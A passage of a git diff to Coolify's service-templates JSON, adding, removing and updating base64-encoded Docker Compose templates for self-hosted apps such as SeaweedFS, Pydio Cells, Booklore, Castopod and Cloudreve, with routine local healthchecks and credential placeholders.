CAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHNlYXdlZWRmcy1tYXN0ZXI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkK", + "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfUzNfODMzMwogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke1NFUlZJQ0VfVVNFUl9TM30nCiAgICAgIC0gJ0FXU19TRUNSRVRfQUNDRVNTX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfUzN9JwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLXMzLWRhdGE6L2RhdGEnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2Jhc2UtY29uZmlnLmpzb24KICAgICAgICB0YXJnZXQ6IC9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgY29udGVudDogIntcbiAgXCJpZGVudGl0aWVzXCI6IFtcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhbm9ueW1vdXNcIixcbiAgICAgIFwiYWN0aW9uc1wiOiBbXG4gICAgICAgIFwiUmVhZFwiXG4gICAgICBdXG4gICAgfSxcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhZG1pblwiLFxuICAgICAgXCJjcmVkZW50aWFsc1wiOiBbXG4gICAgICAgIHtcbiAgICAgICAgICBcImFjY2Vzc0tleVwiOiBcImVudjpBV1NfQUNDRVNTX0tFWV9JRFwiLFxuICAgICAgICAgIFwic2VjcmV0S2V5XCI6IFwiZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWVwiXG4gICAgICAgIH1cbiAgICAgIF0sXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIkFkbWluXCIsXG4gICAgICAgIFwiUmVhZFwiLFxuICAgICAgICBcIlJlYWRBY3BcIixcbiAgICAgICAgXCJMaXN0XCIsXG4gICAgICAgIFwiVGFnZ2luZ1wiLFxuICAgICAgICBcIldyaXRlXCIsXG4gICAgICAgIFwiV3JpdGVBY3BcIlxuICAgICAgXVxuICAgIH1cbiAgXVxufVxuIgogICAgZW50cnlwb2ludDogInNoIC1jICdcXFxuc2VkIFwicy9lbnY6QVdTX0FDQ0VTU19LRVlfSUQvJEFXU19BQ0NFU1NfS0VZX0lEL2dcIiAvYmFzZS1jb25maWcuanNvbiA+IC9iYXNlMS1jb25maWcuanNvbjsgXFxcbnNlZCBcInMvZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWS8kQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZL2dcIiAvYmFzZTEtY29uZmlnLmpzb24gPiAvY29uZmlnLmpzb247IFxcXG53ZWVkIHNlcnZlciAtZGlyPS9kYXRhIC1tYXN0ZXIucG9ydD05MzMzIC1zMyAtczMucG9ydD04MzMzIC1zMy5jb25maWc9L2NvbmZpZy5qc29uXFxcbidcbiIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDo4MzMzOyBbICQkPyAtbGUgOCBdJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgc2Vhd2VlZGZzLWFkbWluOgogICAgaW1hZ2U6ICdjaHJpc2x1c2Yvc2Vhd2VlZGZzOjQuMTMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9BRE1JTl8yMzY0NgogICAgICAtICdTRUFXRUVEX1VTRVJfQURNSU49JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdTRUFXRUVEX1BBU1NXT1JEX0FETUlOPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICBjb21tYW5kOgogICAgICAtIGFkbWluCiAgICAgIC0gJy1tYXN0ZXI9c2Vhd2VlZGZzLW1hc3Rlcjo5MzMzJwogICAgICAtICctYWRtaW5Vc2VyPSR7U0VBV0VFRF9VU0VSX0FETUlOfScKICAgICAgLSAnLWFkbWluUGFzc3dvcmQ9JHtTRUFXRUVEX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnLXBvcnQ9MjM2NDYnCiAgICAgIC0gJy1kYXRhRGlyPS9kYXRhJwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLWFkbWluLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6MjM2NDY7IFsgJCQ/IC1sZSA4IF0nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHNlYXdlZWRmcy1tYXN0ZXI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkK", "tags": [ "object", "storage", @@ -5246,5 +5259,17 @@ "logo": "svgs/marimo.svg", "minversion": "0.0.0", "port": "8080" + }, + "pydio-cells": { + "documentation": "https://docs.pydio.com/?utm_source=coolify.io", + "slogan": "High-performance large file sharing, native no-code automation, and a collaboration-centric architecture that simplifies access control without compromising security or compliance.", + "compose": "c2VydmljZXM6CiAgY2VsbHM6CiAgICBpbWFnZTogJ3B5ZGlvL2NlbGxzOjQuNCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0NFTExTXzgwODAKICAgICAgLSAnQ0VMTFNfU0lURV9FWFRFUk5BTD0ke1NFUlZJQ0VfVVJMX0NFTExTfScKICAgICAgLSBDRUxMU19TSVRFX05PX1RMUz0xCiAgICB2b2x1bWVzOgogICAgICAtICdjZWxsc19kYXRhOi92YXIvY2VsbHMnCiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ215c3FsX2RhdGE6L3Zhci9saWIvbXlzcWwnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTVlTUUxfUk9PVF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UfScKICAgICAgLSAnTVlTUUxfREFUQUJBU0U9JHtNWVNRTF9EQVRBQkFTRTotY2VsbHN9JwogICAgICAtICdNWVNRTF9VU0VSPSR7U0VSVklDRV9VU0VSX01ZU1FMfScKICAgICAgLSAnTVlTUUxfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01ZU1FMfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBoZWFsdGhjaGVjay5zaAogICAgICAgIC0gJy0tY29ubmVjdCcKICAgICAgICAtICctLWlubm9kYl9pbml0aWFsaXplZCcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogNQo=", + "tags": [ + "storage" + ], + "category": null, + "logo": "svgs/cells.svg", + "minversion": "0.0.0", + "port": "8080" } } diff --git a/templates/service-templates.json b/templates/service-templates.json index 580834a21..85445faf6 100644 --- a/templates/service-templates.json +++ b/templates/service-templates.json @@ -310,23 +310,6 @@ "minversion": "0.0.0", "port": "3000" }, - "booklore": { - "documentation": "https://booklore.org/docs/getting-started?utm_source=coolify.io", - "slogan": "Booklore is an open-source library management system for your digital book collection.", - "compose": "c2VydmljZXM6CiAgYm9va2xvcmU6CiAgICBpbWFnZTogJ2Jvb2tsb3JlL2Jvb2tsb3JlOnYxLjE2LjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fQk9PS0xPUkVfODAKICAgICAgLSAnVVNFUl9JRD0ke0JPT0tMT1JFX1VTRVJfSUQ6LTB9JwogICAgICAtICdHUk9VUF9JRD0ke0JPT0tMT1JFX0dST1VQX0lEOi0wfScKICAgICAgLSAnVFo9JHtUWjotVVRDfScKICAgICAgLSAnREFUQUJBU0VfVVJMPWpkYmM6bWFyaWFkYjovL21hcmlhZGI6MzMwNi8ke01BUklBREJfREFUQUJBU0U6LWJvb2tsb3JlLWRifScKICAgICAgLSAnREFUQUJBU0VfVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfTUFSSUFEQn0nCiAgICAgIC0gJ0RBVEFCQVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NQVJJQURCfScKICAgICAgLSBCT09LTE9SRV9QT1JUPTgwCiAgICB2b2x1bWVzOgogICAgICAtICdib29rbG9yZS1kYXRhOi9hcHAvZGF0YScKICAgICAgLSAnYm9va2xvcmUtYm9va3M6L2Jvb2tzJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogfi9ib29rbG9yZQogICAgICAgIHRhcmdldDogL2Jvb2tkcm9wCiAgICAgICAgaXNfZGlyZWN0b3J5OiB0cnVlCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3dnZXQgLS1uby12ZXJib3NlIC0tdHJpZXM9MSAtLXNwaWRlciBodHRwOi8vbG9jYWxob3N0L2xvZ2luIHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgbWFyaWFkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIG1hcmlhZGI6CiAgICBpbWFnZTogJ21hcmlhZGI6MTInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTUFSSUFEQl9VU0VSPSR7U0VSVklDRV9VU0VSX01BUklBREJ9JwogICAgICAtICdNQVJJQURCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NQVJJQURCfScKICAgICAgLSAnTUFSSUFEQl9ST09UX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NQVJJQURCUk9PVH0nCiAgICAgIC0gJ01BUklBREJfREFUQUJBU0U9JHtNQVJJQURCX0RBVEFCQVNFOi1ib29rbG9yZS1kYn0nCiAgICB2b2x1bWVzOgogICAgICAtICdtYXJpYWRiLWRhdGE6L3Zhci9saWIvbXlzcWwnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gaGVhbHRoY2hlY2suc2gKICAgICAgICAtICctLWNvbm5lY3QnCiAgICAgICAgLSAnLS1pbm5vZGJfaW5pdGlhbGl6ZWQnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAK", - "tags": [ - "media", - "books", - "kobo", - "epub", - "ebook", - "koreader" - ], - "category": null, - "logo": "svgs/booklore.svg", - "minversion": "0.0.0", - "port": "80" - }, "bookstack": { "documentation": "https://www.bookstackapp.com/docs/?utm_source=coolify.io", "slogan": "BookStack is a simple, self-hosted, easy-to-use platform for organising and storing information", @@ -489,7 +472,7 @@ "castopod": { "documentation": "https://docs.castopod.org/main/en/?utm_source=coolify.io", "slogan": "Castopod is a free & open-source hosting platform made for podcasters who want engage and interact with their audience.", - "compose": "c2VydmljZXM6CiAgY2FzdG9wb2Q6CiAgICBpbWFnZTogJ2Nhc3RvcG9kL2Nhc3RvcG9kOmxhdGVzdCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLW1lZGlhOi92YXIvd3d3L2Nhc3RvcG9kL3B1YmxpYy9tZWRpYScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9DQVNUT1BPRF84MDAwCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9Y2FzdG9wb2QKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtICdDUF9ESVNBQkxFX0hUVFBTPSR7Q1BfRElTQUJMRV9IVFRQUzotMX0nCiAgICAgIC0gQ1BfQkFTRVVSTD0kU0VSVklDRV9GUUROX0NBU1RPUE9ECiAgICAgIC0gQ1BfQU5BTFlUSUNTX1NBTFQ9JFNFUlZJQ0VfUkVBTEJBU0U2NF82NF9TQUxUCiAgICAgIC0gQ1BfQ0FDSEVfSEFORExFUj1yZWRpcwogICAgICAtIENQX1JFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBDUF9SRURJU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9SRURJUwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjgwMDAvaGVhbHRoJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBtYXJpYWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS4yJwogICAgdm9sdW1lczoKICAgICAgLSAnY2FzdG9wb2QtZGI6L3Zhci9saWIvbXlzcWwnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBNWVNRTF9ST09UX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX01ZU1FMCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9Y2FzdG9wb2QKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGhlYWx0aGNoZWNrLnNoCiAgICAgICAgLSAnLS1jb25uZWN0JwogICAgICAgIC0gJy0taW5ub2RiX2luaXRpYWxpemVkJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjcuMi1hbHBpbmUnCiAgICBjb21tYW5kOiAnLS1yZXF1aXJlcGFzcyAkU0VSVklDRV9QQVNTV09SRF9SRURJUycKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLWNhY2hlOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdyZWRpcy1jbGkgLWEgJFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMgcGluZyB8IGdyZXAgUE9ORycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "c2VydmljZXM6CiAgY2FzdG9wb2Q6CiAgICBpbWFnZTogJ2Nhc3RvcG9kL2Nhc3RvcG9kOjEuMTUuNCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLW1lZGlhOi92YXIvd3d3L2Nhc3RvcG9kL3B1YmxpYy9tZWRpYScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9DQVNUT1BPRF84MDgwCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9Y2FzdG9wb2QKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtICdDUF9ESVNBQkxFX0hUVFBTPSR7Q1BfRElTQUJMRV9IVFRQUzotMX0nCiAgICAgIC0gQ1BfQkFTRVVSTD0kU0VSVklDRV9GUUROX0NBU1RPUE9ECiAgICAgIC0gQ1BfQU5BTFlUSUNTX1NBTFQ9JFNFUlZJQ0VfUkVBTEJBU0U2NF82NF9TQUxUCiAgICAgIC0gQ1BfQ0FDSEVfSEFORExFUj1yZWRpcwogICAgICAtIENQX1JFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBDUF9SRURJU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9SRURJUwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjgwODAvaGVhbHRoJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBtYXJpYWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS4yJwogICAgdm9sdW1lczoKICAgICAgLSAnY2FzdG9wb2QtZGI6L3Zhci9saWIvbXlzcWwnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBNWVNRTF9ST09UX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX01ZU1FMCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9Y2FzdG9wb2QKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGhlYWx0aGNoZWNrLnNoCiAgICAgICAgLSAnLS1jb25uZWN0JwogICAgICAgIC0gJy0taW5ub2RiX2luaXRpYWxpemVkJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjcuMi1hbHBpbmUnCiAgICBjb21tYW5kOiAnLS1yZXF1aXJlcGFzcyAkU0VSVklDRV9QQVNTV09SRF9SRURJUycKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nhc3RvcG9kLWNhY2hlOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdyZWRpcy1jbGkgLWEgJFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMgcGluZyB8IGdyZXAgUE9ORycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "podcast", "media", @@ -503,7 +486,7 @@ "category": "media", "logo": "svgs/castopod.svg", "minversion": "0.0.0", - "port": "8000" + "port": "8080" }, "changedetection": { "documentation": "https://github.com/dgtlmoon/changedetection.io/?utm_source=coolify.io", @@ -684,7 +667,7 @@ "cloudreve": { "documentation": "https://docs.cloudreve.org/?utm_source=coolify.io", "slogan": "A self-hosted file management and sharing system.", - "compose": "c2VydmljZXM6CiAgY2xvdWRyZXZlOgogICAgaW1hZ2U6ICdjbG91ZHJldmUvY2xvdWRyZXZlOjQuMTAuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9DTE9VRFJFVkVfNTIxMgogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuVHlwZT1wb3N0Z3JlcwogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuSG9zdD1wb3N0Z3JlcwogICAgICAtICdDUl9DT05GX0RhdGFiYXNlLlVzZXI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdDUl9DT05GX0RhdGFiYXNlLlBhc3N3b3JkPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuTmFtZT0ke1BPU1RHUkVTX0RCOi1jbG91ZHJldmUtZGJ9JwogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuUG9ydD01NDMyCiAgICAgIC0gJ0NSX0NPTkZfUmVkaXMuU2VydmVyPXJlZGlzOjYzNzknCiAgICAgIC0gJ0NSX0NPTkZfUmVkaXMuUGFzc3dvcmQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nsb3VkcmV2ZS1kYXRhOi9jbG91ZHJldmUvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBuYwogICAgICAgIC0gJy16JwogICAgICAgIC0gbG9jYWxob3N0CiAgICAgICAgLSAnNTIxMicKICAgICAgaW50ZXJ2YWw6IDIwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTgtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1jbG91ZHJldmUtZGJ9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDUKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6Ny1hbHBpbmUnCiAgICBjb21tYW5kOiAncmVkaXMtc2VydmVyIC0tcmVxdWlyZXBhc3MgJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSAnLWEnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1Cg==", + "compose": "c2VydmljZXM6CiAgY2xvdWRyZXZlOgogICAgaW1hZ2U6ICdjbG91ZHJldmUvY2xvdWRyZXZlOjQuMTAuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9DTE9VRFJFVkVfNTIxMgogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuVHlwZT1wb3N0Z3JlcwogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuSG9zdD1wb3N0Z3JlcwogICAgICAtICdDUl9DT05GX0RhdGFiYXNlLlVzZXI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdDUl9DT05GX0RhdGFiYXNlLlBhc3N3b3JkPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuTmFtZT0ke1BPU1RHUkVTX0RCOi1jbG91ZHJldmUtZGJ9JwogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuUG9ydD01NDMyCiAgICAgIC0gJ0NSX0NPTkZfUmVkaXMuU2VydmVyPXJlZGlzOjYzNzknCiAgICAgIC0gJ0NSX0NPTkZfUmVkaXMuUGFzc3dvcmQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nsb3VkcmV2ZS1kYXRhOi9jbG91ZHJldmUvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBuYwogICAgICAgIC0gJy16JwogICAgICAgIC0gbG9jYWxob3N0CiAgICAgICAgLSAnNTIxMicKICAgICAgaW50ZXJ2YWw6IDIwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTgtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1jbG91ZHJldmUtZGJ9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1CiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjctYWxwaW5lJwogICAgY29tbWFuZDogJ3JlZGlzLXNlcnZlciAtLXJlcXVpcmVwYXNzICR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICB2b2x1bWVzOgogICAgICAtICdyZWRpcy1kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gJy1hJwogICAgICAgIC0gJyR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogNQo=", "tags": [ "file sharing", "cloud storage", @@ -818,7 +801,7 @@ "databasus": { "documentation": "https://databasus.com/installation?utm_source=coolify.io", "slogan": "Databasus is a free, open source and self-hosted tool to backup PostgreSQL, MySQL, and MongoDB.", - "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYyLjE4LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fREFUQUJBU1VTXzQwMDUKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RhdGFiYXN1cy1kYXRhOi9kYXRhYmFzdXMtZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXFPLScKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjQwMDUvYXBpL3YxL3N5c3RlbS9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQo=", + "compose": 